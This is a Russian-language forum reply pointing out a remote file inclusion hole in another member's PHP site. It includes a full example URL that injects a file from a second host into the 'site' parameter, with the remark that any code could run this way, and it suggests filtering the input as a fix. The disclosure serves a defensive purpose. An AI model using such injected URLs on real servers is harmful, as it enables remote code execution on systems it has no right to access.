Вход на сайт
Набросал сайт, взгляните
373 просмотров
Перейти к просмотру всей ветки
в ответ Mmmaloy 22.03.05 00:28
У вас из переменной site берется путь к файлу.
Я могу туда подставить адрес любого файла, какой мне нужен, и он выполнится.
Как пример http://www.ls-soft.com/wortschatz/index.php?site=http://gym9.volgograd.ru/temp/test.inc
Здесь я напечатал просто текст. Можно написать любой код...
Как залатать... Или фильтровать запрос, или просто отказаться от такой структуры.
Я могу туда подставить адрес любого файла, какой мне нужен, и он выполнится.
Как пример http://www.ls-soft.com/wortschatz/index.php?site=http://gym9.volgograd.ru/temp/test.inc
Здесь я напечатал просто текст. Можно написать любой код...
Как залатать... Или фильтровать запрос, или просто отказаться от такой структуры.
http://www.studio102.ru - полет нормальный.